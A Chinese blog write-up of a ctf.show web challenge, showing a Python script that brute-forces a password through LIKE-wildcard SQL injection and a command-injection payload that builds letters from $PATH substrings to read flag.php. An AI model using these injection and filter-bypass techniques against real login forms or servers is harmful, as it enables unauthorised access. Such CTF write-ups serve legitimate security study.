web3_莫负婵娟

67815b0c009ee970fe4014abaa3Fa6A0又是被虐的一天

进入正题

打开链接是个登录页面,没有注册的,猜测是sql注入,简单试几个命令

 

 发现能过滤的都被过滤了,这还怎么玩,查看源代码,原来如此

<!--注意:正式上线请删除注释内容! -->
  <!-- username yu22x -->
  <!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

给出了用户名,又给出了数据库查询语句,这很good

这里用到了like注入,就是模糊匹配

% 表示零个或多个字符的任意字符串

_(下划线)表示任何单个字符

简单举个例子,创建一个名为"Persons"的表,如下

IdLastNameFirstNameAddressCity
1 Adams John Oxford Street London
2 Bush George Fifth Avenue New York
3 Carter Thomas Changan Street Beijing

 

比如要查这个表里的某个数据

我们希望从上面的 "Persons" 表中选取居住在以 "N" 开始的城市里的人:

我们可以使用下面的 SELECT 语句: SELECT * FROM Persons WHERE City LIKE 'N%'

它会自动查找到以N开头的字符串

所以结果是

IdLastNameFirstNameAddressCity
2 Bush George Fifth Avenue New York


既然我们知道了这个,首先_可以表示任何单个字符,我们可以直接用脚本爆破出它的密码

这里附上大佬脚本

import requests

a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'http://15ba58d4-891b-4ca7-b771-3bb8efebbfdf.challenge.ctf.show:8080/login.php'

pwd = ''
for i in range(32):
    print('i = '+str(i+1),end='\t')
    for j in a:
        password = pwd + j + (31 - i) * '_'
        data = {'username':'yu22x','password':password}
        r = requests.post(url,data=data)
        if 'wrong' not in r.text:
             pwd += j
             print(pwd)
             break

 

 

 如图,密码是67815b0c009ee970fe4014abaa3Fa6A0

接着进来以后,发现像命令执行

简单尝试一下

 

 

 

 

 尝试了几个命令,别想了,输个字母都是违法的。。。。。。。最后看大佬博客才知道,好家伙把小写字母都过滤了

这里又用到了一个新的知识点

使用$PATH环境变量来截取字母

比如

 

 

 

 

但是我们没有内网的环境变量,大佬说开vps监听获得环境变量

这步不会,略过。。。。。。。。。

得到环境变量后,直接构造 nl flag.php

127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???

得到falg

 

 

 

 


posted @ 2021-09-29 21:56  微草wd  阅读(275)  评论(0)    收藏  举报